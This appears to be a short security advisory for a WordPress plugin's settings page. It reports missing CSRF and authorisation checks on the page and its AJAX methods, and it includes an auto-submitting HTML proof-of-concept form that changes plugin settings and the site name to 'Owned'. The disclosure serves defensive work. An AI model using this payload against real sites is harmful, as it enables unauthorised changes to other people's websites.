Lack of CSRF and authorisation checks in the settings page, as well as AJAX methods such as ajax_enable_ssl(), ajax_scan() and so on could allow unauthorised settings change as well as call of the AJAX methods by a low privileged user. Additionally, it could also allow arbitrary site options update due to the way the update_option() and update_site_option() are used in the admin() and admin_network() functions.
<html>
<body onload="document.forms[0].submit()">
<form action="https://<BLOG>/wp-admin/admin.php?page=one-click-ssl" method="POST">
<!-- Plugin's Settings -->
<input type="hidden" name="ocssl_toolsmenu" value="1"/>
<input type="hidden" name="ocssl_nonsslredirect" value="1"/>
<!-- WP Options -->
<input type="hidden" name="blogname value="Owned"/>
</form>
</body>
</html>